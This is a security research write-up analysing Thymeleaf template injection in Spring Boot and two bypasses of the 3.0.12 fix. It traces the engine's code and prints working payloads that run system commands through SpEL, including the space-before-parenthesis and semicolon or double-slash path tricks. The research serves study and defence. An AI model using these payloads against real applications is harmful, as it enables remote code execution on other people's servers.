Analyzing Thymeleaf SSTI and Bypassing the Latest Fix

Summary0x01 Preface Some time ago I finally wrote Principles and Case Study of File Inclusion, which mentioned Thymeleaf SSTI. Yesterday Sanmeng shared a newly discovered Thymeleaf SSTI bypass CVE. Since my project code was still available, I analyzed it. 0x02 Thymeleaf SSTI Thymeleaf…

javaSSTIThymeleafThymeleaf Bypass

0x01 Preface

Some time ago I finally wrote the delayed article Principles and Case Study of File Inclusion. It mentioned Thymeleaf SSTI. Yesterday, Sanmeng shared a newly discovered Thymeleaf SSTI bypass CVE in a group. Since the old project code was still available, I analyzed it.

0x02 Thymeleaf SSTI

Thymeleaf is a server-side Java template engine officially supported by Spring. SSTI was first James Kettle first researched it;Emilio Pinna extended that research, but neither studied Thymeleaf SSTI. Later, Aleksei Tiurin published a Thymeleaf SSTI article on the Acunetix blog.Article, bringing Thymeleaf SSTI to researchers' attention.

For clarity, this section briefly covers the basics. Familiar readers can skip to 0x03.

Thymeleaf supports these expression types:

  • ${...}: Variable expression—usually OGNL or Spring EL. With Spring integration, it executes against context variables.
  • *{...}: Selection expression—similar to a variable expression but evaluated against the selected object rather than the entire context-variable map.
  • #{...}: Message (i18n) expression—retrieves locale-specific messages from an external source such as a.propertiesfile) to retrieve locale-specific messages
  • @{...}: Link (URL) expression—usually creates correct application URLs/paths through URL rewriting.
  • ~{...}: Fragment expression— introduced in Thymeleaf 3.x. Fragment expressions provide a simple way to identify markup fragments and move them around templates, copy them, or pass them as arguments.

Thymeleaf SSTI primarily arises from fragment expressions. Their syntax is:

  1. ~{templatename::selector}, will be in/WEB-INF/templates/directory for a file namedtemplatenamedefined in the templatefragment

Suppose an HTML file contains:

HTML
<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<body> <div th:fragment="banquan"> &copy; 2021 ThreeDream yyds</div>
</body>
</html>

Another template can reference the fragment with a fragment expression:

HTML
<div th:insert="~{footer :: banquan}"></div>

th:insertandth:replace:Inserting fragments is a common use.

  1. ~{templatename}, referencing the entiretemplatenametemplate file asfragment

This is straightforward and needs no detailed example.

  1. ~{::selector} or ~{this::selector}, referencing the fragment namedselectoroffragmnt

Here,selectorcan be throughth:fragmentdefined fragment, class selector, ID selector, and so on.

  1. When~{}appears in a fragment expression::, then ::must be followed by a value (that is,selector

With that background, we can analyze the vulnerability.

Begin with another common example:

JAVA
@GetMapping("/admin")
public String path(@RequestParam String language)
{
	return "language/" + language + "/admin";
}

This is controller code from a Spring Boot project. The Thymeleaf directory is:

1.png

The logic is a language-interface selector: Chinese readers receivelanguageargument iscn; for English readers, setslanguageargument isen. The code itself appears sound, but the use of a Thymeleaf template creates the issue.

In Spring Boot + Thymeleaf, a controllable view name creates a vulnerability. After a controller returns, Spring dispatches Thymeleaf to locate and render a template. During lookup, the supplied parameter can be executed as SpEL, leading to remote code execution.

Thymeleaf rendering flow:

  • createView() creates the corresponding View from its name
2.png
  • renderFragment() parses the template name from the view name
3.png

So followrenderFragment()See how the template name is parsed:

4.png

I copied out the core code:

JAVA

protected void renderFragment(Set<String> markupSelectorsToRender, Map<String, ?> model, HttpServletRequest request, HttpServletResponse response) throws Exception {
    String templateName;
    Set<String> markupSelectors, processMarkupSelectors;
    ServletContext servletContext = getServletContext();
    String viewTemplateName = getTemplateName();
    ISpringTemplateEngine viewTemplateEngine = getTemplateEngine();
		...
            if (!viewTemplateName.contains("::")) {
                templateName = viewTemplateName;
                markupSelectors = null;
            } else {
                IStandardExpressionParser parser = StandardExpressions.getExpressionParser(configuration);

                FragmentExpression fragmentExpression;
                try {
                    fragmentExpression = (FragmentExpression)parser.parseExpression(context, "~{" + viewTemplateName + "}");
                } catch (TemplateProcessingException var25) {
                    throw new IllegalArgumentException("Invalid template name specification: '" + viewTemplateName + "'");
                }

		...

Here, the template name (viewTemplateName) is concatenated "~{" + viewTemplateName + "}", then usesparseExpressionparses it. Continue followingparseExpressionreveals

5.png

throughEngineEventUtils.computeAttributeExpressionevaluates the property as an expression:

6.png

Preprocessing then runs before ordinary expression handling; it parses and executes the expression.

The result is:

7.png
TEXT
http://127.0.0.1:8080/admin?language=__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getInputStream()).next()}__::.k

Why is the PoC constructed this way?

Earlier, while introducingrenderFragmentWhen discussing the function, we notedrenderFragmentconcatenates the template name while parsing it "~{" + viewTemplateName + "}", then usesparseExpressionparses it. FollowparseExpression

8.png

Enterorg.thymeleaf.standard.expression StandardExpressionParser.javain parseExpressionmethod:

9.png
JAVA
(preprocess? StandardExpressionPreprocessor.preprocess(context, input) : input);

The expression undergoespreprocesspreprocessing. Follow the method:

10.png
11.png

preprocessPreprocessing resolves__xx__the middle portion as the expression

Debugging shows the expression ultimately executes inorg.thymeleaf.standard.expression.VariableExpression.executeVariableExpression()as a SpEL expression.

12.png

The PoC therefore needs the form__xx__SpEL expression. For SpEL background, see:In-Depth Analysis of SpEL Expression Injection), meaning the expression must be:__${xxxxx}__ this form

Then why does a later value still contain::?

BecauserenderFragmentcondition in:

JAVA
if (!viewTemplateName.contains("::")) {

Only when the template name contains::, execution entersparseExpression, only then is it executed as an expression.

As for the final part of the PoC,.k. As noted at the beginning:

When~{}appears in a fragment expression::, then ::must be followed by a value (that is,selector

The final PoC is:__${xxxx}__::.x

Only Thymeleaf 3.x is affected, because in 2.xrenderFragmentcore processing method is:

JAVA
protected void renderFragment(Set<String> markupSelectorsToRender, Map<String, ?> model, HttpServletRequest request, HttpServletResponse response) throws Exception {

		...

                Configuration configuration = viewTemplateEngine.getConfiguration();
                ProcessingContext processingContext = new ProcessingContext(context);
                templateCharacterEncoding = getStandardDialectPrefix(configuration);
                StandardFragment fragment = StandardFragmentProcessor.computeStandardFragmentSpec(configuration, processingContext, viewTemplateName, templateCharacterEncoding, "fragment");
                if (fragment == null) {
                    throw new IllegalArgumentException("Invalid template name specification: '" + viewTemplateName + "'");
                }

		...

does not have 3.x's handling for fragment expressions (~{) handling and therefore does not produce SSTI. Below is Spring Boot's default Thymeleaf version.

spring boot:1.5.1.RELEASE spring-boot-starter-thymeleaf:2.1.5 spring boot:2.0.0.RELEASE spring-boot-starter-thymeleaf:3.0.9 spring boot:2.2.0.RELEASE spring-boot-starter-thymeleaf:3.0.11

0x03 Thymeleaf SSTI Bypass

Thymeleaf fixed the issue described above:

13.png

in 3.0.12 version, Thymeleaf in utildirectory gained a file namedSpringStandardExpressionUtils.javafile under:

14.png

The file explains:

15.png

Expression invocation passes through this check:

16.png

Examine the function:

JAVA
public static boolean containsSpELInstantiationOrStatic(final String expression) {

        final int explen = expression.length();
        int n = explen;
        int ni = 0; // index for computing position in the NEW_ARRAY
        int si = -1;
        char c;
        while (n-- != 0) {

            c = expression.charAt(n);

            if (ni < NEW_LEN
                    && c == NEW_ARRAY[ni]
                    && (ni > 0 || ((n + 1 < explen) && Character.isWhitespace(expression.charAt(n + 1))))) {
                ni++;
                if (ni == NEW_LEN && (n == 0 || !Character.isJavaIdentifierPart(expression.charAt(n - 1)))) {
                    return true; // we found an object instantiation
                }
                continue;
            }

            if (ni > 0) {
                n += ni;
                ni = 0;
                if (si < n) {
                    // This has to be restarted too
                    si = -1;
                }
                continue;
            }

            ni = 0;

            if (c == ')') {
                si = n;
            } else if (si > n && c == '('
                        && ((n - 1 >= 0) && (expression.charAt(n - 1) == 'T'))
                        && ((n - 1 == 0) || !Character.isJavaIdentifierPart(expression.charAt(n - 2)))) {
                return true;
            } else if (si > n && !(Character.isJavaIdentifierPart(c) || c == '.')) {
                si = -1;
            }

        }
        return false;
    }

Its main logic checks backward for wenkeyword; in(whether the character to the left isT. If present, it treats this as an instantiated object and returnstrue, preventing the expression from executing.

17.png

Bypassing the function requires three conditions: 1. The expression must not contain keywordnew 2. In(character to the left cannot beT 3. It cannot appear inTand(the inserted middle character breaks the original expression

Sanmeng's answer was %20 (space). I also found %0a (newline), %09 (tab), and many more usable characters through fuzzing:

18.png

Interested readers can test which other characters bypass the check.

This bypass applies when the incoming path is controllable, for example:

19.png
20.png
21.png
22.png
23.png
24.png

One detail matters: in the image above, path differs from the returned view name. path is/admin/*, and the returned view name islanguage/cn/*. But when path equals the returned view name:

25.png

The payload above does not actually work.

26.png

Why?

In version 3.0.12, besides addingSpringStandardExpressionUtils.java, it also added SpringRequestUtils.javafile:

27.png

and read its description:

28.png

If a view name contains a URL path or parameter, do not execute it as a fragment expression.

If the view name equals path, execution passes throughSpringRequestUtils.javaincheckViewNameNotInRequestfunction check:

29.png

We can see that ifrequestURIis non-empty and does not containvnvalue enters the branch and passes throughcheckViewNameNotInRequestapproval as 'safe.'

Begin with the PoC above:__${T%20(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator%22)}__::.x/

30.png

We obtain vn value ishome/__${t(java.lang.runtime).getruntime().exec("open-acalculator")}__::.x

31.png

Sincevnvalue is fixed. Next, simply makerequestURI.contains(vn)false achieves the goal.

contains is case-sensitive, so…

No—the pack method already underwenttoLowerCaseprocessing

32.png

Is there no solution? There is—Sanmeng provided one.

First examinerequestURIcomes from:

33.png

Follow the callunescapeUriPathmethod:

34.png

Follow the callunescapeUriPathmethod:

35.png

callsUriEscapeUtil.unescape. Follow it:

36.png

The function first checks whether the incoming characters are%(ESCAPE_PREFIX) or+. If so, process it again:

  • Set+unescaped into a space
  • If%count is greater than one, all must be unescaped at once

After processing, returns the resulting string to

If unescape is unnecessary, return the original string unchanged.

Finally, obtainrequestURI

there appears to be nothing special.

With no special behavior, we only need to determine how to makerequestURI.contains(vn)false, meaningrequestURIdoes not equalhome/__${t(java.lang.runtime).getruntime().exec("open-acalculator")}__::.xis sufficient

The essence is making two strings unequal while satisfying the route condition (/home/*path)

This leads to the conclusion:

Bypass Technique 1:

This is what Sanmeng mentioned in the group.

home;/__${t(java.lang.runtime).getruntime().exec("open-acalculator")}__::.x

Simply append a semicolon after home.

This is because Spring Boot supports matrix variables, disabled by default:

37.png

If a semicolon appears in the path, it callsremoveSemicolonContentto remove the semicolon

38.png

This makes the supplied character andvndiffer while satisfying the route, successfully bypassingcheckViewNameNotInRequestcheck

39.png

Bypass Technique 2:

I found this bypass while analyzing the code. As noted, the goal is to make two strings unequal while preserving the route (/home/*path), then:

home//__${t(java.lang.runtime).getruntime().exec("open-acalculator")}__::.xandhome/__${t(java.lang.runtime).getruntime().exec("open-acalculator")}__::.xare unequal while the route still matches—perfect. The principle should now be clear.

40.png

One final point: the payload cannot contain/; otherwise execution fails:

41.png

The reason is a route mismatch; the parser sees this path:

/home;/__${T (java.lang.Runtime).getRuntime().exec("open -a /System /Applications /Calculator.app")}__::.x/

0x04 Conclusion

Unfortunately, Thymeleaf did not assign Sanmeng a CVE for the bypass. Our discussion suggests Thymeleaf considered the return value a developer-controlled responsibility. Whether that justification is convincing is left to the reader.

Time prevented broader exploration, including behavior when no return is used:

42.png

Can it be bypassed?

When template content is controllable:

43.png
44.png

Can that also be bypassed?

Do other common Java template engines—Velocity, Freemarker, Pebble, and Jinjava—have similar issues?

I will revisit these questions when time permits and welcome others to analyze them.

I uploaded the project source to GitHub. It is simple, but saves readers from copying code.

https://github.com/cn-panda/ThymeleafSSTIBypass